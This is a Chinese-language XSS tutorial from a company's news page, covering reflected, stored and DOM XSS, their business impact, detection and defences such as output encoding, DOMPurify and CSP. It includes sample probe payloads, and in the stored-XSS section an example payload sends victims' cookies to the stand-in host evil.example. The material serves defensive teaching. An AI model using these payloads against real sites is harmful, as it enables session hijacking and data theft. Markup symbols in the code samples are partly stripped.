资讯动态

XSS跨站脚本攻击全解析:从漏洞原理到防护实战

发布时间:2026/10/19 17:14:44 来源:尧图企业网站定制
1. 场景XSS 最容易藏身的业务角落很多人对 XSSCross-Site Scripting跨站脚本攻击的第一印象还停留在“给输入框塞一段scriptalert(1)/script然后页面弹了个框”这种入门演示上。但实际做安全测试和漏洞修复时你会发现 XSS 远不止一种玩法它藏在搜索框、评论区、前端路由、甚至导出文件里形态千差万别。想要真正防住它得先把“它从哪里来、长什么样”彻底搞清楚。XSS 的本质是用户的一段输入在没有经过安全处理的情况下被当作可执行的前端代码渲染到了浏览器里。因为代码运行在受害者的浏览器中、以受害者域名的权限执行浏览器同源策略这道防火墙等于被直接绕过了。攻击者利用的输入位置不同、存储方式不同XSS 被分成三类反射型、存储型、DOM 型。三个类型看着名字差不多但攻击场景和排查路径完全不同分不清的话后面检测和防护都没法落地。1.1 反射型跟随 URL 到达的“一次性攻击”反射型 XSS 的思路是把恶意代码放在 URL 参数里后端拿到参数后直接拼进了响应页面用户浏览器在解析页面时把这个代码执行了。整个过程不落库、不持久所以叫“反射”。常见位置包括站内搜索框用户在/search?kwxxx里输入的关键词回显到页面上列表排序、分页参数?page1orderasc这类参数被 JS 或后端拼接后直接输出错误提示、登录回显表单校验失败时把用户填的内容原样返回401/404 等异常页面把请求路径原样渲染典型代码逻辑大概是这个样子// 一个搜索接口的简化示意 String keyword request.getParameter(kw); response.getWriter().println(p您搜索的关键词是 keyword /p);攻击者只要构造一个 URLhttps://example.com/search?kwimg srcx onerroralert(document.domain)把这个链接发给目标用户。用户点击后页面里就会多出一个加载失败的 img 标签触发 onerror 事件执行 JS。反射型 XSS 的利用前提是“诱导用户点击攻击者构造的链接”所以常被伪装成短链接、二维码发到聊天群里。反射型有一个容易误判的点很多开发者在后端给kw加了过滤函数比如去掉script标签就以为安全了。但攻击者马上会换img、svg、iframe或者用属性逃逸绕过所以单纯过滤某个标签根本堵不住。处理反射型 XSS 的经验是不要问“我过滤了哪些标签”要问“我在输出位置做了什么编码”。1.2 存储型写进数据库的“慢性毒药”存储型 XSS 比反射型危险得多。攻击者的 payload 被打进了服务端的数据存储里之后任何用户访问这个页面都会加载并执行存储的恶意代码。这意味着攻击者不需要诱导某个特定的人点击链接只要这个页面有人访问就自动中招。最容易出存储型 XSS 的业务位置评论区、留言板用户提交的内容逐条展示用户昵称、个人签名、头像 URL管理员或其他用户在后台/前台看到富文本编辑内容支持图文混排的文章发布功能商品评价、订单备注在商家端、客服端展示工单系统、表单提交里的备注字段典型代码是这样的// 留言保存与展示的简化示意 $comment $_POST[comment]; $db-query(INSERT INTO comments(content) VALUES( . $comment . )); // 渲染时直接输出 echo div classcomment . $row[content] . /div;攻击者提交一条评论内容写成img srcx onerrorfetch(//evil.example/collect?cdocument.cookie)。之后所有打开这个留言板页面的人Cooke 都会被发送到攻击者的服务器。更麻烦的是这种攻击会在服务器日志里留下痕迹但修复时不能只“删掉这条评论”因为数据库里可能已经沉积了大量历史 payload还得考虑是否有人已经触发过。存储型 XSS 因为影响面大通常被定级为高危或严重。做安全评审时只要这类功能直接输出未编码的用户输入几乎可以闭着眼睛报漏洞。1.3 DOM 型前端自己把用户“卖”了DOM 型 XSS 和前面两种有一个本质区别payload 根本不需要经过服务器。它的问题出在前端 JavaScript 读取了 URL 中的可控数据然后直接写进了 DOM。后端响应里没有任何异常内容服务器日志也完全看不到攻击痕迹。传统 WAF、后端过滤很难拦住这一类所以经常被忽视。典型代码script // 从 URL 参数读取内容直接拼进页面 const q new URLSearchParams(location.search).get(q); document.getElementById(result).innerHTML 您搜索的是 q; /script攻击者构造https://example.com/?qsvg onloadalert(1)页面加载后innerHTML把 svg 解析成 DOMonload 触发。这类问题在单页面应用SPA、前端路由、搜索联想、分享页回显里特别常见。排查 DOM 型 XSS 有个难点同样的前端代码在不同浏览器、不同版本里对innerHTML、outerHTML、insertAdjacentHTML的解析结果可能不同。某些 payload 在一个浏览器能执行换一个浏览器可能被当作纯文本。所以测试 DOM 型 XSS不能只在一个浏览器里验证最好用主流内核各过一遍。1.4 容易被忽略的高危场景除了上面三类经典位置我还见过不少“非典型” XSS 出现点它们不在常规的输入输出链路上但一旦被利用影响往往不小。JSONP / callback 参数很多老接口用callbackxxx做跨域后端把参数值直接拼成 JS 函数名返回。如果前端没校验函数名攻击者构造callbackalert(1)浏览器直接执行。SVG 和文件上传SVG 本质上是 XML内部可以嵌入 script。上传头像功能如果没有严格校验文件内容只检查扩展名就可能把带脚本的 SVG 存到服务器上之后通过https://example.com/upload/evil.svg直接访问触发。导出功能Excel、CSV、PDF 导出时如果单元格内容拼接了公式或 HTML打开导出文件时可能执行脚本这类叫导出型 XSS常用于钓鱼和投递恶意文件。邮件模板邮件内容里如果拼接了用户输入发送出去的邮件在用户邮箱客户端里可能渲染出恶意内容。错误日志页面接口异常时把请求参数原样打到网页上方便排错的内部工具一旦暴露到外网就成了反射型 XSS 的窗口。在做安全排查时我习惯在纸上列一遍“数据从哪进来、经过哪些处理、最终在哪个上下文输出”只要某个数据源是用户可控的、输出位置没有经过上下文感知的编码就值得单独测一下。2. 影响被 XSS 打穿的业务防线很多人一开始对 XSS 的态度是“不就弹个框嘛又没有直接拖库”。这种想法相当危险。XSS 的最可怕之处不在于它自己做了什么而在于它让攻击者在受害者的浏览器里获得了“任意脚本执行”的能力。有了这个能力攻击者能做的事就完全不受控制了。2.1 从弹框到会话劫持攻击者把一段 JS 注入到页面后最直接的利用方式就是读取 Cookie、发送到自己的服务器拿到受害者的登录态。虽然现代浏览器有 HttpOnly 属性保护 Cookie但很多老项目、内部系统根本没有设置这个属性document.cookie一读一个准。就算 Cookie 受 HttpOnly 保护XSS 还是能通过发起请求来模拟用户操作。攻击者可以在页面里注入一段 fetch 代码自动调用“修改密码”“绑定手机号”“转账”等接口这就和 CSRF 攻击形成了组合拳。更隐蔽一点的做法是覆盖页面里的登录表单用户输入账号密码时JS 先复制一份再提交给服务器用户自己还毫无察觉。我还处理过一个真实案例某个后台管理系统的评论功能存在存储型 XSS攻击者在评论区放了读取 Cookie 的脚本。管理员在后台审核评论时触发登录态被偷走。攻击者拿到管理员会话后直接登录后台改了业务配置。整个链路从“弹个框”升级到“后台沦陷”只花了不到半天时间。2.2 蠕虫与供应链传播存储型 XSS 还有可能发展成蠕虫。攻击者在一条评论里写入脚本页面加载时自动向评论接口提交一条内容相同的评论。后来的访客每打开一次页面就会自动发一条新评论新评论里又带着同样的脚本以此类推。在社交平台、论坛这类高交互产品里这种蠕虫能在几小时内扩散到全站用户形成“刷屏式”灾难。历史上多个知名社交平台都因此出过事故。另一种容易被忽略的连锁反应是前端供应链污染。现在的网站大量依赖第三方脚本统计代码、广告 SDK、IM 组件、地图 SDK。如果某个页面存在 XSS攻击者注入的脚本可以动态加载一个外部的 JS 文件那个文件可能在后续被替换成键盘记录器、挖矿脚本或恶意跳转代码。单一页面的 XSS最后可能污染整个站点所有用户的浏览体验因为攻击者拿到 JS 执行权后可以改写页面上后续加载的脚本内容。2.3 业务与合规层面的损失XSS 造成的直接技术危害之外还有一连串业务层面的连锁反应。用户个人信息被窃取会直接导致账号被盗、订单信息泄露、聊天记录被翻。电商、金融、医疗类产品一旦出现这类问题用户信任度一落千丈客服团队会被大量“账号被盗了怎么办”的工单淹没。从安全投入的角度看事后应急响应的人力成本、公关成本、可能的法律赔偿往往远超提前做一次安全改造的费用。我经常和高危漏洞被修复的技术团队确认一个问题这个漏洞确实修了但你们是否已经查过攻击者有没有利用它如果攻击者已经利用过存储型 XSS 窃取了数据问题就不只是“改代码”那么简单而是“数据泄露事件”了。这也是为什么我一直建议安全测试要早做、常态化做不要等到攻击者替你做测试。3. 检测把 XSS 找出来的实战方法XSS 的检测看上去简单写几个 payload 往输入框里塞看它弹不弹窗。但真要系统地扫一遍业务并且不产生一堆误报、不漏掉隐蔽点还是需要一套完整的方法。我基本都是按“手动探针 → 上下文判断 → 工具辅助 → 人工复核”这个流程来走。3.1 手动测试的思路与常用探针手动测试的前提是有合法的授权。做安全测试时不要拿生产环境的真实数据乱试先在预发环境、测试环境过一遍确认没问题再上生产这是基本的职业素养。检测的第一步是找到所有“用户可控输入、并被输出到页面”的参数点。我的做法是打开浏览器开发者工具把页面上所有表单字段、URL 参数、接口请求参数列出来逐个去测。对一个参数点先用无害探针确认它是否进入输出位置再判断输出上下文。常用探针如下!-- 基础探针 1 -- scriptalert(document.domain)/script !-- 基础探针 2 -- img srcx onerroralert(document.domain) !-- 基础探针 3 -- svg onloadalert(document.domain) !-- 属性闭合探针 -- svg onloadalert(document.domain) !-- 单引号属性闭合探针 -- svg onloadalert(document.domain) !-- JS 上下文探针 -- ;alert(document.domain);//为什么要用document.domain因为如果有 CSP、沙箱等防护单纯的alert(1)可能会被浏览器直接拦掉生成误导性的结果。而document.domain能访问到当前域名可以确认脚本确实在目标页面上下文里执行了。判断输出上下文是手动测试的关键。输出位置不同payload 的闭合方式就不同输出在div这里/div的文本节点里直接插入 HTML 标签即可输出在input value这里的属性值里需要先闭合双引号输出在scriptvar x 这里;/script的 JS 字符串里需要闭合引号、用分号断句输出在href、src等 URL 属性里可能要用javascript:伪协议测试时我会在地址栏手动构造 URL或用抓包工具修改请求参数然后观察页面渲染结果。注意不要只看“有没有弹窗”还要看 payload 是否被原样输出到了 DOM 里。如果输出位置在 JS 上下文但浏览器把转义成了lt;那说明已经做了编码漏洞不存在。3.2 借助浏览器开发者工具做现场分析确认 XSS 是否可利用不能只靠肉眼“看弹窗”应该用开发者工具做详细分析。Elements 面板查看输入内容被渲染成什么样是成了 DOM 节点还是变成了纯文本。如果img真的成了一个 DOM 元素说明标记被解析了。Network 面板查看页面加载时的所有请求。如果注入的脚本访问了外部地址Network 面板会有记录。Console 面板查看 JS 运行时的报错。如果注入点位于 JS 上下文语法错误会直接显示在控制台CSP 拦截脚本也会在这里有明确提示。Sources 面板给可疑脚本设置断点单步执行看数据是怎么流动的推荐在定位 DOM 型 XSS 时使用。举一个我排查过的例子某单页应用的搜索联想功能用户输入关键词后前端把关键词用innerHTML写进了下拉列表。我在输入框里填入bxss/b发现列表里确实出现了加粗的文字说明标签被执行。再把输入改成img srcx onerroralert(document.domain)页面弹窗。通过 Elements 面板我还能看到这个 img 是何时被插入的、父节点是什么从而定位到具体是哪行前端代码的问题。3.3 自动化扫描与代码审计手动测效率低自动化扫描可以帮我们快速铺开覆盖面。扫描器的基本思路是爬取网站所有页面收集所有参数点把准备好的 payload 注入进去然后比对响应内容是否出现了 payload 的特征。市面上有不少开源和商业的 Web 漏洞扫描器但扫描结果只能作为“疑似清单”最终确认漏洞是否存在必须人工复核。代码审计则是另一种路径适合在开发阶段发现问题。重点盯这些“危险操作”innerHTML、outerHTML、insertAdjacentHTMLdocument.write、document.writelneval、new Function、setTimeout的第一个参数是字符串后端拼接 HTML 返回接口、模板引擎关闭了自动转义location、location.hash、location.search直接拼进 DOMv-htmlVue、dangerouslySetInnerHTMLReact这类跳过框架默认转义的接口我在代码审计时有个习惯先搜这些 API 的调用位置再追踪其数据来源。如果数据来源是用户可控的比如 URL 参数、接口请求体、数据库字段就立刻标记为可疑点。3.4 一个完整检测流程的示例拿一个典型的搜索功能举例完整走一遍定位参数点访问/search?kwtest页面显示“您搜索的关键词是test”。注入基础探针将kw改成img srcx onerroralert(document.domain)刷新页面。观察输出位置用 Elements 面板查看这段内容被渲染到了哪里。如果它出现在p文本节点里并且确实生成了一个 img 元素说明标签解析成功。尝试闭合逃逸如果页面把和转义了改成svg onloadalert(document.domain)再次测试。验证可执行性弹窗出现后换一个探针确认网络请求可以发出比如注入scriptfetch(/test-scan?xss1)/script然后看 Network 面板是否出现对应请求。记录与修复建议详细写下漏洞位置、触发方式、受影响参数并明确建议在输出位置做编码。整个过程看起来繁琐但经验值上来之后一个可疑点基本几分钟就能判断清楚。关键在于不要图省事跳过了上下文判断的环节。4. 防护一套从进到出的治理方案检测是打地鼠打完一个冒一个防护才是真正把问题收口。XSS 防护的核心可以浓缩成一句话所有进入动态页面的用户输入都必须经过输出位置的上下文编码所有进入富文本区域的用户输入都必须经过白名单过滤。围绕这句话要落地的方案分四个层面。4.1 输出编码第一道且最关键的一道防线输出编码的原则是“根据渲染上下文选择对应的编码方式”。同一个字符在 HTML 文本、属性值、脚本字符串、URL 里需要的编码方式完全不同。用错了等于没编码。渲染上下文编码原则示例HTML 文本节点将 转为 HTML 实体amp; lt; gt;HTML 属性值额外编码引号quot; #39;JavaScript 字符串使用反斜杠转义或 Unicode 转义\x3c\u003cURL 参数使用 URL 编码%3C%3E后端开发时不同语言有对应的安全编码函数。Java 里可以封装一个基于上下文选择编码策略的工具类PHP 里htmlspecialchars配合ENT_QUOTES是处理 HTML 上下文的基础做法Node 前后端分离项目接口层返回结构化数据即可HTML 渲染编码交给前端框架反而比较容易控制。这里要提醒几个常见误区只做输入过滤不做输出编码。输入过滤能挡住一部分已知 payload但永远挡不住未知变体所有把过滤当成唯一防线的项目最后都被绕过。编码函数用错上下文。比如在属性值里只编码了尖括号忘了编码引号攻击者照样能通过闭合属性逃逸。对富文本内容做整体转义。这样会把正常的加粗、链接、图片全变成纯文本业务上不可接受富文本必须走白名单过滤方案。现代前端框架Vue、React默认对插值表达式做转义杜绝了大部分直接拼接 HTML 的问题。但v-html、dangerouslySetInnerHTML这类接口会跳过默认转义使用时必须保证传入的内容已经过白名单过滤。很多前端团队的规范里会直接禁止这两个 API 的使用除非安全团队单独评审通过。4.2 输入校验与富文本白名单输出编码解决的是“拼好的字符串安全渲染”输入校验解决的是“脏数据能不能进来”。输入侧的核心策略是白名单校验而不是黑名单过滤。对每个字段提前定义它合法接受的字符集、长度、格式。比如手机号只允许数字和-()用户名只允许字母数字下划线不允许任何 HTML 相关字符。这类字段用正则和白名单校验就能完全排除 XSS 风险。富文本字段是例外因为它需要支持 HTML 标签不能一刀切编码。富文本过滤的标准做法是白名单标签白名单属性。使用成熟的富文本过滤库比如前端用 DOMPurify 这类方案配置允许的标签和属性const clean DOMPurify.sanitize(userHtml, { ALLOWED_TAGS: [p, br, strong, em, a, ul, ol, li, code, pre, blockquote, img], ALLOWED_ATTR: [href, title, alt, src] });富文本过滤有个特别容易被忽略的点a标签的href属性。攻击者可以把href写成javascript:alert(1)点击链接时触发脚本。所以除了过滤标签和属性还必须单独校验 URL 协议只允许http:、https:、mailto:这类安全协议。DOMPurify 默认配置已经处理了这个问题但如果团队自己写了正则过滤方案一定要单独测这个点。4.3 浏览器端的三道保险后端编码做好了仍然建议叠加浏览器端的三项基础防护形成纵深防御。第一道HttpOnly Cookie。在设置会话 Cookie 时加上 HttpOnly 属性JavaScript 就不能通过document.cookie读取到它。这不能阻止 XSS 本身但能大幅降低会话劫持的风险。Java 里设置方式很直观Cookie sessionCookie new Cookie(sessionId, sessionId); sessionCookie.setHttpOnly(true); sessionCookie.setSecure(true); sessionCookie.setPath(/); response.addCookie(sessionCookie);第二道CSPContent Security Policy。CSP 通过响应头告诉浏览器页面只能加载哪些来源的脚本。就算攻击者成功往页面里注入了script标签CSP 也能直接拦下来脚本根本不会执行。一个基础配置示例Content-Security-Policy: default-src self; script-src self; object-src none; base-uri self这个配置的含义是默认加载同源资源脚本只允许加载同源文件禁止 object/embed/plugin禁止修改 base URI。如果线上有些场景必须用内联脚本可以为合法脚本生成一次性 nonce 令牌在响应头里放行nonce-随机字符串并给每个合法 script 标签加上同样的 nonce 属性。CSP 配置不当会让线上功能出问题所以上线前一定要在预发环境完整回归一遍。第三道X-XSS-Protection 的安全提示。老一代浏览器曾内置 XSS 过滤机制通过X-XSS-Protection: 1; modeblock开启。但现代浏览器已经陆续移除或废弃了这项机制因为它本身可能被攻击者用来屏蔽页面内容造成另一种安全问题。现在更建议把精力放在 CSP 和输出编码上不要把这个响应头当成主要防线。4.4 从流程上把 XSS 挡在发布前技术方案之外XSS 治理最后拼的是流程规范。需求评审阶段凡是涉及用户输入后展示到页面的功能开发、测试、安全三方要确认输出编码方案。开发规范阶段在团队代码规范里明确列出危险 API 清单新代码不能出现innerHTML拼接用户输入这类写法统一封装安全的渲染工具。自动化检测阶段把静态代码扫描接到 CI 流程里每次提交代码自动跑一遍发现高危 API 调用就卡住合入。上线前安全测试阶段准备一份 XSS 检查清单所有新增页面、修改过的接口至少手动跑一遍常见探针。我见过太多“上线后补漏洞”的案例修复成本是开发阶段的几十倍。把上面这些环节固化到流程里XSS 出现的频率会成批量地降下来。5. 常见问题与踩坑实录5.1 典型问题速查表做安全测试和修复支持时我经常遇到一些高度重复的问题整理成速查表方便直接对照排查。症状可能原因排查与修复方向输入scriptalert(1)/script没弹窗但有数据显示浏览器或前端框架转义了尖括号检查输出位置换img srcx onerror...探针再测尖括号被转义了但双引号没处理输出上下文是属性值缺了引号编码在属性值上下文补quot;编码后端过滤了script但换img又弹窗黑名单过滤思路失效改成输出上下文编码不能依赖黑名单页面能弹alert(1)但发不出自定义请求CSP 拦了外链脚本用 Network 面板确认请求是否被阻塞按需调整 CSP服务端日志里完全看不到漏洞请求DOM 型 XSSpayload 没到后端排查前端location、innerHTML相关代码富文本内容被过滤后大量丢标签白名单配置过窄按业务实际需求补充合法标签同时保留白名单策略CSP 配置后页面原本的内联脚本全部失效内联脚本被 CSP 默认拦截把内联脚本外置或使用 nonce 放行合法脚本5.2 我在实际项目里踩过的坑第一个坑是“只在前端过滤”。曾经有一个团队在登录页面做了前端输入校验把script字符直接挡在输入框外大家觉得“这样安全了”。结果攻击者绕过页面用抓包工具直接构造请求把 payload 发到后端接口前端过滤形同虚设。前端过滤的作用仅仅是优化用户体验真正的安全边界必须建立在服务端。第二个坑是“编码工具函数封装错了方向”。某个项目封装了一个escapeHtml()但它只处理了 三个字符没有处理双引号和单引号。大家在 HTML 文本节点里用没问题一放到属性值里就出洞。后来我们统一改成了“按上下文选择编码函数”并给每个函数写清了适用场景注释才彻底解决这个问题。第三个坑是 CSP 配置得太严格上线后埋点和第三方客服组件全部失效。预发环境测试时没覆盖到这些异步加载的第三方脚本生产一开就出现用户反馈。做 CSP 治理最好分两步走先开Content-Security-Policy-Report-Only观察一段时间的拦截日志确认没有误伤后再切换成强制执行模式。第四个坑发生在前后端分离的项目里。后端接口返回 HTML 片段前端直接v-html渲染双方都以为“编码应该对面负责”结果谁都没做。在前后端分离架构下必须明确一条原则接口返回纯文本时由后端负责编码接口返回 HTML 片段时由前端负责白名单过滤并标记为高风险接口两类情况都必须在代码评审阶段确认。5.3 一次整改的复盘经验去年帮某业务系统做过一次 XSS 专项整改核心工作是梳理所有“用户输入 → 动态渲染”链路。一开始人工梳理花了两天列出来 40 多个风险点其中有 10 多个是开发者根本没想到的隐蔽入口比如错误提示里的字段回显、后端拼接 SMS 模板时的内容展示。后来我们把输出编码封装成统一组件约束所有入口必须走这个组件整改完复测风险点清零。这个过程让我深刻体会到单点修复解决不了系统性问题必须把“安全编码规范”固化到开发流程里让每个人的每一次输出都做对XSS 才可能真正根绝。安全这块的工作往往短期看不到业绩但一旦出问题就是大事。每次在最费时间的“找漏洞”环节省掉的功夫迟早会以更大的代价还回来。如果你的项目还没做过一轮系统的 XSS 排查我的建议是别等了现在就开始。先从自己的核心业务链路里挑出输入点、输出点、边界点按上面说的探针和规范过一遍能发现的漏洞基本都是赚到的。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑